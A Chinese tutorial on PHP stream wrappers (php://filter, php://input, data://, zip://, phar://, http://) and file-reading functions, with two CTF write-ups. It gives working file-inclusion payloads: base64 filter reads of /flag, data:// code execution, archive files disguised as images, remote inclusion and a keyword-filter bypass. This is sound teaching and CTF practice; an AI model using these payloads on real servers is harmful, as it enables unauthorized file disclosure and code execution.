常见协议与PHP伪协议
常见协议与PHP伪协议
Wells常见协议与封装协议
1 | 1 file:// — 访问本地文件系统 |
file://
访问本地文件系统,若不加协议名称,默认封装协议为file://
协议
条件:
- allow_url_fopen:off/on
- allow_url_include :off/on
作用:
用于访问本地文件系统(服务器中的文件),在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
说明:
当不说明使用file://协议的时(即默认file://协议的情况)可以使用相对路径,当使用了file协议时无法使用相对路径。
1 | cmd=file://flag #用法错误,声明file协议时无法使用相对路径 |
相对路径
当指定了一个相对路径提供的路径将基于当前的目录。在很多情况下是脚本所在的目录。
Windows:不以://indows 盘符开头的路径
Linux:不以/开头的路径
使用示例:以传参变量名为cmd演示
1 | #Linux |
http://
访问 HTTP(s) 网址
条件:
- allow_url_fopen:on
- allow_url_include:on
作用:
常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
使用示例:以传参变量名为cmd演示
1 | cmd=http://example.com/phpinfo.txt #读取http://example.com/phpinfo.txt文件 |
php://
访问各个输入/输出流(I/O streams),伪协议提供了多种不同的方式来访问和处理数据
常见的PHP伪协议:
1 | php://input #这个伪协议用于访问HTTP请求的原始主体数据。它通常用于从POST请求中读取数据。 |
在CTF中经常使用的是php://filter
和php://input
、php://filter
用于读取源码,php://input
用于执行POST参数中的php代码。
作用:
php:// 访问各个输入/输出流(I/O streams)
条件:
- allow_url_fopen:off/on
- allow_url_include :仅
php://input
、php://stdin
、php://memory
、php://temp
需要on
php://filter
条件:
- allow_url_fopen:off/on
- allow_url_include :off/on
作用:
php://filter
可以作为一个位于原始数据流和最终目标之间的中间流来处理其他流,负责对数据进行处理。(即读取或写入数据之前对其进行修改或过滤。)
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。(加绝对路径) |
read=<读链的筛选列表> | read参数指定 一个或多个过滤器 用于读操作,可以设定一个或多个过滤器名称,以管道符分隔。(读取文件后编码输出) |
write=<写链的筛选列表> | write参数指定 一个或多个过滤器 用于写操作,可以设定一个或多个过滤器名称,以管道符分隔。(编码重写入文件) |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
注:
read
和write
指令是互斥的,不能同时使用。- 如果存在多个过滤器,字符串从左到右的顺序经过过滤器
write
指令用于写入文件,对字符串编码后写入
1 |
|
常用过滤语句:
1 | cmd=php://filter/read=convert.base64-encode/resource=/flag //读取根目录flag文件,进行base64编码 |
常用过滤器
PHP 版本中的过滤器也许比这里列出的更多(或更少),可用
stream_get_filters()
来列出 PHP 中已安装的过滤器。以docker的PHP8.3.4为例,自带的过滤器有
- zlib.*
- convert.iconv.*
- string.rot13
- string.toupper
- string.tolower
- convert.*
- dechunk
- consumed (目前也不知道是啥)
字符串过滤器
string.rot13
(对字符串执行ROT13
编码转换)string.toupper
(将字符串转化为大写)string.tolower
(将字符串转化为小写)string.strip_tags
(自 PHP 7.3.0 起废弃,从字符串中去除 HTML 和 PHP 标记)
官方文档:
转换过滤器
注:转换过滤器是 PHP 5.0.0 添加的
convert.base64-encode
和convert.base64-decode
(将字符串进行base64编码加解密)convert.quoted-printable-encode
和convert.quoted-printable-decode
(将字符串进行Quoted-printable编码加解密)convert.iconv.*
(将字符串进行字符编码转化)
官方文档:
压缩过滤器
压缩过滤器可以在网络的流中提供通用压缩,将一个非压缩的流转换成一个压缩流。可以在任何时候应用于任何流资源。
官方文档:
加密过滤器(已自 PHP 7.1.0 起废弃)
加密过滤器特别适用于文件/数据流的加密。
官方文档:
dechunk
将HTTP分块Chunk传输的数据进行解码
HTTP分块Chunk传输:
告别等待!HTTP分块Chunk传输让客户端响应更迅速数据即时呈现-腾讯云开发者社区-腾讯云 (tencent.com)
注:比较特别的是,进行解码的数据流每行都有后缀CRLF
(即\r\n
),否则将得到空字符串
php://input
主要用来接收post数据。
条件:
- allow_url_fopen:off/on
- allow_url_include :on
说明:
CTF中文件包含题目里,可以使用php://input
协议,将post请求中的数据作为php代码执行。
使用示例:以传参变量名为file演示
1 | [URL部分] |
zlib://
压缩流
条件
- allow_url_fopen:off/on
- allow_url_include :off/on
作用
zip://
& bzip2://
& zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg、png、gif等等。
注:zlib://
需要是服务器内的压缩包文件、但不局限于后缀名
示例:
1、 zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
注意:#
需要URL编码为%23
,传入时不要加上[ ]
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传目录/var/www/html/,以file为文件包含的参数为例:
1 | ?file=zip:///var/www/html/phpinfo.jpg#phpinfo.txt |
2、compress.bzip2://file.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名),并上传目录/var/www/html/,以file为文件包含的参数为例:
1 | ?file=compress.bzip2:///var/www/html/phpinfo.bz2 |
3、compress.zlib://file.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名),并上传目录/var/www/html/,以file为文件包含的参数为例:
1 | ?file=compress.zlib:///var/www/html/phpinfo.gz |
phar://
phar://协议与zip://类似,同样可以访问zip格式压缩包内容
例如,上传压缩包到目录/var/www/html/,以file为文件包含的参数为例:
1 | ?file=phar:///var/www/html/phpinfo.zip/phpinfo.txt |
data://
条件
- allow_url_fopen:on
- allow_url_include :on
作用
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
用法
data://text/plain,[加上所需传输的经过url编码数据]
data://text/plain;base64,[加上所需传输的经过base64编码再经过url编码的数据]
注意:传入时不要加上[ ]
示例:
- data://text/plain,
1 | http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> |
- data://text/plain;base64,
1 | http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
使用场景
当遇到文件包含可使用伪协议进行
可能遇到的文件包含函数:
1 | include |
include和require函数
通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。
include
和 require
语句是相同的,除了错误处理方面:
require
会生成致命错误(E_COMPILE_ERROR)并停止脚本、include
只生成警告(E_WARNING),并且脚本会继续
语法:
1 | include 'filename'; |
区别:
1 | <?php |
由于23333.php不存在
使用include的时候,只会在当前语句报错,然后执行后边的正常语句
1 |
|
但是使用require的时候,就会直接报错然后跳出函数。
include_once和require_once函数
include_once
(require_once
)语句在脚本执行期间包含并运行指定文件。此行为和 include (require)
语句类似,区别是如果该文件中的代码已经被包含了,则不会再次包含,只会包含一次。include_once(require_once)需要查询一遍已加载的文件列表, 确认是否存在, 然后再加载。
1 |
|
这种情况下1.php被包含两次。
1 |
|
这种情况下,第二次包含时,是不会进行包含的。
highlight_file()和show_source()
两个函数的用法相同,因为show_source()是highlight_file()的别名
1 | show_source(filename,return); |
其中return是可选项
参数 | 描述 |
---|---|
filename | 必需。要进行高亮处理的 PHP 文件的路径。 |
return | 可选。如果设置 true,则本函数返回高亮处理的代码,而不是输出它们。 |
readfile和file_get_contents和file
三者区别:
名称 | 作用 |
---|---|
file | 把整个文件读入一个数组中 |
readfile | 读入一个文件并写入到输出缓冲。 |
file_get_contents | 将整个文件读入一个字符串 |
注:以下提到的PHP 的内置路径(include_path)为在php.ini
的php配置文件中进行设置的搜索路径。
file_get_contents
file_get_contents() 把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。
1 | file_get_contents(path,include_path,context,start,max_length) |
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件。 |
include_path | 可选。只提供了文件名,而没有提供完整的文件路径,将在PHP 的内置路径(include_path)中搜索文件。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。 |
context | 可选。规定文件句柄的环境(即执行的条件)。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 |
readfile
readfile() 函数读取一个文件,并写入到输出缓冲。如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 ‘@’ 来隐藏错误输出。
1 | readfile(filename,include_path,context) |
参数 | 描述 |
---|---|
filename | 必需。规定要读取的文件。 |
include_path | 可选。只提供了文件名,而没有提供完整的文件路径,将在PHP 的内置路径(include_path)中搜索文件。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。 |
context | 可选。规定文件句柄的环境(即执行的条件)。context 是一套可以修改流的行为的选项。 |
file
与 file_get_contents() 类似,不同的是 file() 将文件读取后作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。
1 | file(path,include_path,context) |
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件 |
include_path | 可选。只提供了文件名,而没有提供完整的文件路径,将在PHP 的内置路径(include_path)中搜索文件。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 “1” |
context | 可选。规定文件句柄的环境(即执行的条件)。context 是一套可以修改流的行为的选项。若使用 null,则忽略。 |
file_put_contents
file_put_contents()
函数把一个字符串写入文件中。
1 | int file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) |
参数 | 功能 |
---|---|
filename | 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件 |
data | 必需。规定要写入文件的数据。可以是字符串、数组或数据流 |
flag | 可选。规定如何打开/写入文件。可能的值: FILE_USE_INCLUDE_PATH :只提供了文件名,而没有提供完整的文件路径,将在PHP 的内置路径(include_path)搜索文件。 FILE_APPEND:如果设置了该标志,数据将被追加到文件末尾而不是覆盖文件内容。 LOCK_EX:如果设置了该标志,在写入文件时会获取一个独占锁定(排它锁),以防止其他进程同时写入文件。这可以确保在多个进程同时写入文件时不会发生冲突。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。 |
该函数访问文件时,遵循以下顺序:
- 如果设置了
FILE_USE_INCLUDE_PATH
标志,函数将首先检查filename
参数的副本是否存在于 PHP 的内置路径(include_path)中。 - 函数将打开文件以进行写入操作。
- 如果设置了
LOCK_EX
标志,函数将对文件进行锁定(获取独占锁定),以确保在写入文件时不会发生冲突。 - 如果设置了
FILE_APPEND
标志,函数将将写入的数据追加到文件末尾。否则,函数将清除文件的内容并写入新的数据。 - 函数将写入数据到文件中。
- 函数将关闭文件并释放对文件的所有锁定。
fopen
fopen() 函数打开一个文件或 URL。
1 | fopen(filename,mode,include_path,context) |
参数 | 描述 |
---|---|
filename | 必需。规定要打开的文件或 URL。 |
mode | 必需。规定您请求到该文件/流的访问类型。可能的值:”r” (只读方式打开,将文件指针指向文件头)”r+” (读写方式打开,将文件指针指向文件头)”w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)”w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之)”a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之)”a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容)”x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误)”x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误) |
include_path | 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。 |
参考文章
- 参考PHP 手册的内容
原文链接:PHP: 可用过滤器列表 - Manual - 参考菜鸟教程的文章
原文链接:https://www.runoob.com/php/func-filesystem-fopen.html
实战
No.1 土豆哥给的题目
1 |
|
土豆哥:flag一般在根目录下(根本没听到,做了很多无用功,但偶然接触到了一句话木马)
题解:
$cmd = preg_replace("/flag/i", '', $cmd);
这个正则表达式用于删除cmd中含有flag
地方,第二个 if (preg_match("/flag/i", $cmd))
用来判断是否含有flag这个词如果有则进行if下的内容。
按题目的含义我们可以构造出flflagag
这个作为flag的替代
尝试直接进行cmd=/flflagag
进行传参,发现并没有出现参数,判读估计进行了隐藏。使用php中的php://filter伪协议进行读取,使用cmd=php://filter/read=convert.base64-encode/resource=/flag
尝试使用base64加密后读取。
页面出现经过base64加密后的内容
1 | PD9waHAKJEZMQUcgPSAiUk9JU3tkb3Vkb3VibGVibGVfY21jbWRkX3dpd2lubn0iOw== |
解密
1 |
|
发现flag是个变量无法直接通过include包含直接读出。
No.2 CTFHub 技能树-RCE-文件包含-远程包含
1 |
|
页面给了个小提示
phpinfo
Directive | Local Value | Master Value |
---|---|---|
allow_url_fopen | On | On |
allow_url_include | On | On |
题解:
查看题目
if (!strpos($_GET["file"], "flag"))
发现题目要求必须使用非含flag的文件进行包含,则此时可以考虑进行远程包含。在服务器上建立一个txt文件,里面写入能进行打印出根目录下flag的代码,如:
1 |
|
使用http://
协议,最后成功获取代码